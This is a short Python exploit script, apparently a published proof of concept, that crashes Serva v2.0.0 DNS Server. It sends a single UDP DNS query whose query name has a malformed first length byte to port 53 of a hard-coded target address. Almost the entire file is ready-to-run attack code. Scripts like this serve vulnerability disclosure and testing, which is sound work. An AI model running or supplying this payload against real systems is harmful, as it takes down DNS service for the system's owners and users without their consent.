#!/usr/bin/python
# Exploit Title: Serva v2.0.0 DNS Server QueryName Remote Denial of Service Vulnerability
# Version: v2.0.0
# Date: 2013-01-14
# Author: Julien Ahrens (@MrTuxracer)
# Homepage: www.inshell.net
# Software Link: http://www.vercot.com
# Tested on: Windows XP SP3 Professional German
# Notes: Malformed QueryName causes the crash
# Howto: -
import socket
target="192.168.0.1"
port=53
TransACTID="\x03\xc3"
Flags="\x01\x00"
QuestionRRC="\x00\x01"
AnswerRRC="\x00\x00"
AuthRRC="\x00\x00"
AddRRC="\x00\x00"
QueryName="\xFF\x69\x6e\x73\x68\x65\x6c\x6c\x03\x6e\x65\x74\x00" #vulnerable: first length-byte
QueryType="\x00\x01"
QueryClass="\x00\x01"
payload = TransACTID + Flags + QuestionRRC + AnswerRRC + AuthRRC + AddRRC + QueryName + QueryType + QueryClass
print "[*] Connecting to Target " + target + "..."
s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0) #udp
print "[*] Sending malformed request..."
s.sendto(payload,(target,port))
print "[!] Exploit has been sent!\n"
s.close()
